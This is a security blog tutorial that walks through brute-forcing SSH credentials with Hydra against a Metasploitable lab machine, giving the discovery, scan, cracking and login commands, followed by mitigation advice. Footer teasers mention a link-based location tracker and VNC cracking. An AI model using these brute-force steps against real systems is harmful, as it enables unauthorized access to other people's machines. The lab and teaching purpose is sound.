Cracking SSH Password Using Hydra

By

Today we are going learn how to access the victim machine by cracking the password of SSH service. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is SSH?

  • The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another.

What is Hydra?

  • Hydra is a parallelized login cracker which supports numerous protocols to attack.
  • New modules are easy to add, beside that, it is flexible and very fast.
  • This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

  • Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  • Victim: Metasploitable(OS), SSH(Service).

 sudo netdiscover
Netdiscover
  • Here we got the IP (192.168.0.22) of victim. Now lets scan for SSH service.
 nmap -sV -p 22 192.168.0.22
Scaning SSH
  • The nmap says that the victim is running SSH service. Now its time for cracking the password of SSH with the help of Hydra tool.
 hydra -help
hydra help
 hydra -L users.txt -P passwords.txt -t 4 192.168.0.22 ssh   
ssh cracking
  • Here,

        -L is list of usernames

        -P is list of Passwords

        -t is number of tasks

  • Here we go, the username is msfadmin and password is msfadmin .
  • Now lets try to connect to SSH with these credentials.
 ssh msfadmin@192.168.0.22
SSH logon
  • Here we got remote login into victim machine.

Mitigation:

  1. Set a custom SSH port
  2. Filter the SSH port on your firewall 
  3. Disable Root Login
  4. Strong passwords/passphrase for ssh users and keys
  5. Disable Empty Passwords
  6. Set a custom SSH warning banner
  7. Block SSH brute force attacks automatically
  8. Disable OpenSSH server on the laptops and desktops
  9. Enable login notifications over email
  10. Keep SSH updated

Be Aware, Be Secure.

Thank You 🙏

 

I'm a Cyber Security professional with expertise in Network, Application, Endpoint, Cloud Security, DevOps, and IT Ops. I have experience in various industries and am well-versed in relevant regulations and standards. My goal is to provide exceptional security solutions that protect organizations from evolving threats, while also streamlining workflows and improving collaboration between development, operations, and security teams through DevOps and IT Ops practices.

Comments

Post a Comment

Popular posts from this blog

Demo 1- How to Track Location by a Link

By
Image
↑ GPS: GPS stands for Global Positioning System . The Global Positioning System, originally NAVSTAR GPS, is a satellite-based radionavigation system owned by the United States government and operated by the United States Air Force. It is a global navigation satellite system (GNSS) that provides geolocation and time information to a GPS receiver anywhere on or near the Earth where there is an unobstructed line of sight to four or more GPS satellites. Obstacles such as mountains and buildings block the relatively weak GPS signals. Locator v1.0: Locator is a tool developed by "thelinuxchoice".This tool is implemented in Shell Scripting. This tool is implemented in Shell Scripting. Geolocator, Ip Tracker, Device Info by URL (Serveo and Ngrok). It uses tinyurl to obfuscate the Serveo link. Disclaimer:  Usage of Locator for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable lo
Read more

Snyk - Ubuntu 20.04 (Linux)

By
Image
In this article, we are going to learn about Snyk, features, and hands-on demo on how to install, usage and uninstall on Ubuntu 20.04(Linux).   Disclaimer:   The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Cyber Security, Ethical Hacking,  Software Development and  IT Operations. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking. Table of Content What is Snyk ?   Jump to Features   Jump to Hands-On   Jump to Requirements   Jump to Download   Jump to Install   Jump to Usage   Jump to Uninstall    Jump to Cheat Sheet    Jump to    What is Snyk ?  Snyk is a developer security platform for securing code , dependencies , containers , and infrastructure as code .  Integra
Read more

Cracking VNC Password Using Hydra

By
Image
Today we are going learn how to crack the password of VNC service using Hydra Tool.  Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking. What is VNC? Virtual Network Computing ( VNC ) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol ( RFB ) to remotely control another computer.  What is Hydra? Hydra is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, i
Read more